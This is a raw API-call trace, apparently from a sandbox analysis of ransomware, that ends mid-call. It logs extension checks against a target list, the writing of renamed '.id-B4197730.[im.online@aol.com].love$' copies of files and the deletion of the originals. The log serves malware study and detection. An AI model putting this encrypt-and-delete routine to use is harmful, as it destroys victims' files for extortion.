lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.470] lstrlenW (lpString=".zip") returned 4 [0100.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.470] lstrlenW (lpString=".rar") returned 4 [0100.470] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.470] lstrlenW (lpString=".bz2") returned 4 [0100.470] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.470] lstrlenW (lpString=".7z") returned 3 [0100.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.470] lstrlenW (lpString=".dbf") returned 4 [0100.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.470] lstrlenW (lpString=".1cd") returned 4 [0100.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.470] lstrlenW (lpString=".jpg") returned 4 [0100.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.471] Sleep (dwMilliseconds=0x64) [0100.859] Sleep (dwMilliseconds=0x64) [0101.511] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0101.511] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.511] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.785] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=82374) returned 1 [0102.785] CloseHandle (hObject=0x340) returned 1 [0102.785] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0102.786] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.786] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.786] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.786] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.786] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.788] GetLastError () returned 0x0 [0102.788] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0102.798] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0102.801] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.802] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.802] SetEndOfFile (hFile=0x338) returned 1 [0102.802] CloseHandle (hObject=0x338) returned 1 [0102.806] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.806] SetEndOfFile (hFile=0x340) returned 1 [0102.808] CloseHandle (hObject=0x340) returned 1 [0102.808] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.809] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0102.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.809] lstrlenW (lpString=".doc") returned 4 [0102.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString=".docx") returned 5 [0102.810] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.810] lstrlenW (lpString=".pdf") returned 4 [0102.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString=".xls") returned 4 [0102.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString=".xlsx") returned 5 [0102.810] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.810] lstrlenW (lpString=".ppt") returned 4 [0102.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.810] lstrlenW (lpString=".zip") returned 4 [0102.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.810] lstrlenW (lpString=".rar") returned 4 [0102.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString=".bz2") returned 4 [0102.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString=".7z") returned 3 [0102.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.810] lstrlenW (lpString=".dbf") returned 4 [0102.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.810] lstrlenW (lpString=".1cd") returned 4 [0102.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.810] lstrlenW (lpString=".jpg") returned 4 [0102.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.811] lstrlenW (lpString=".doc") returned 4 [0102.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString=".docx") returned 5 [0102.811] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.811] lstrlenW (lpString=".pdf") returned 4 [0102.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString=".xls") returned 4 [0102.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString=".xlsx") returned 5 [0102.811] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.811] lstrlenW (lpString=".ppt") returned 4 [0102.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.811] lstrlenW (lpString=".zip") returned 4 [0102.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.811] lstrlenW (lpString=".rar") returned 4 [0102.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString=".bz2") returned 4 [0102.811] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.811] lstrlenW (lpString=".7z") returned 3 [0102.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.811] lstrlenW (lpString=".dbf") returned 4 [0102.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.812] lstrlenW (lpString=".1cd") returned 4 [0102.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0102.812] lstrlenW (lpString=".jpg") returned 4 [0102.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.812] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0102.812] lstrlenW (lpString="eula.rtf") returned 8 [0102.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.813] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=54456) returned 1 [0102.813] CloseHandle (hObject=0x340) returned 1 [0102.813] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0102.813] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.813] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.814] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.814] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.814] GetLastError () returned 0x0 [0102.814] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0102.826] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0102.828] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.828] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.828] SetEndOfFile (hFile=0x338) returned 1 [0102.829] CloseHandle (hObject=0x338) returned 1 [0102.831] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.831] SetEndOfFile (hFile=0x340) returned 1 [0102.833] CloseHandle (hObject=0x340) returned 1 [0102.833] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.833] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0102.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.833] lstrlenW (lpString=".doc") returned 4 [0102.834] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString=".docx") returned 5 [0102.834] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.834] lstrlenW (lpString=".pdf") returned 4 [0102.834] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString=".xls") returned 4 [0102.834] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.834] lstrlenW (lpString=".xlsx") returned 5 [0102.834] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.834] lstrlenW (lpString=".ppt") returned 4 [0102.834] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.834] lstrlenW (lpString=".zip") returned 4 [0102.834] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.834] lstrlenW (lpString=".rar") returned 4 [0102.834] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString=".bz2") returned 4 [0102.834] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString=".7z") returned 3 [0102.834] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.834] lstrlenW (lpString=".dbf") returned 4 [0102.834] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.834] lstrlenW (lpString=".1cd") returned 4 [0102.834] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.834] lstrlenW (lpString=".jpg") returned 4 [0102.835] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.835] lstrlenW (lpString=".doc") returned 4 [0102.835] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.835] lstrlenW (lpString=".docx") returned 5 [0102.835] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.835] lstrlenW (lpString=".pdf") returned 4 [0102.835] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.835] lstrlenW (lpString=".xls") returned 4 [0102.835] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.835] lstrlenW (lpString=".xlsx") returned 5 [0102.835] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.835] lstrlenW (lpString=".ppt") returned 4 [0102.835] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.835] lstrlenW (lpString=".zip") returned 4 [0102.835] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.835] lstrlenW (lpString=".rar") returned 4 [0102.835] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.835] lstrlenW (lpString=".bz2") returned 4 [0102.835] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.835] lstrlenW (lpString=".7z") returned 3 [0102.835] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.835] lstrlenW (lpString=".dbf") returned 4 [0102.835] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.836] lstrlenW (lpString=".1cd") returned 4 [0102.836] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0102.836] lstrlenW (lpString=".jpg") returned 4 [0102.836] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.836] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0102.836] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.836] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.836] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=81482) returned 1 [0102.836] CloseHandle (hObject=0x340) returned 1 [0102.837] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0102.837] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.837] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.837] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.837] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.837] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.837] GetLastError () returned 0x0 [0102.837] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0103.367] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0103.371] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.372] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.372] SetEndOfFile (hFile=0x338) returned 1 [0103.372] CloseHandle (hObject=0x338) returned 1 [0103.376] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.376] SetEndOfFile (hFile=0x340) returned 1 [0103.378] CloseHandle (hObject=0x340) returned 1 [0103.378] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.378] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0103.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.379] lstrlenW (lpString=".doc") returned 4 [0103.379] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.379] lstrlenW (lpString=".docx") returned 5 [0103.379] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.379] lstrlenW (lpString=".pdf") returned 4 [0103.379] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.379] lstrlenW (lpString=".xls") returned 4 [0103.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.379] lstrlenW (lpString=".xlsx") returned 5 [0103.379] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.379] lstrlenW (lpString=".ppt") returned 4 [0103.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.379] lstrlenW (lpString=".zip") returned 4 [0103.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.380] lstrlenW (lpString=".rar") returned 4 [0103.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString=".bz2") returned 4 [0103.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString=".7z") returned 3 [0103.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.380] lstrlenW (lpString=".dbf") returned 4 [0103.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.380] lstrlenW (lpString=".1cd") returned 4 [0103.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.380] lstrlenW (lpString=".jpg") returned 4 [0103.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.380] lstrlenW (lpString=".doc") returned 4 [0103.380] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString=".docx") returned 5 [0103.380] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.380] lstrlenW (lpString=".pdf") returned 4 [0103.380] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString=".xls") returned 4 [0103.380] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.380] lstrlenW (lpString=".xlsx") returned 5 [0103.381] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.381] lstrlenW (lpString=".ppt") returned 4 [0103.381] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.381] lstrlenW (lpString=".zip") returned 4 [0103.381] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.381] lstrlenW (lpString=".rar") returned 4 [0103.381] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.381] lstrlenW (lpString=".bz2") returned 4 [0103.381] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.381] lstrlenW (lpString=".7z") returned 3 [0103.381] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.381] lstrlenW (lpString=".dbf") returned 4 [0103.381] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.381] lstrlenW (lpString=".1cd") returned 4 [0103.381] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.381] lstrlenW (lpString=".jpg") returned 4 [0103.381] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.382] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0103.382] lstrlenW (lpString="eula.rtf") returned 8 [0103.382] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.383] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4015) returned 1 [0103.383] CloseHandle (hObject=0x340) returned 1 [0103.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0103.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.384] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.384] SetFilePointerEx (in: hFile=0x340, 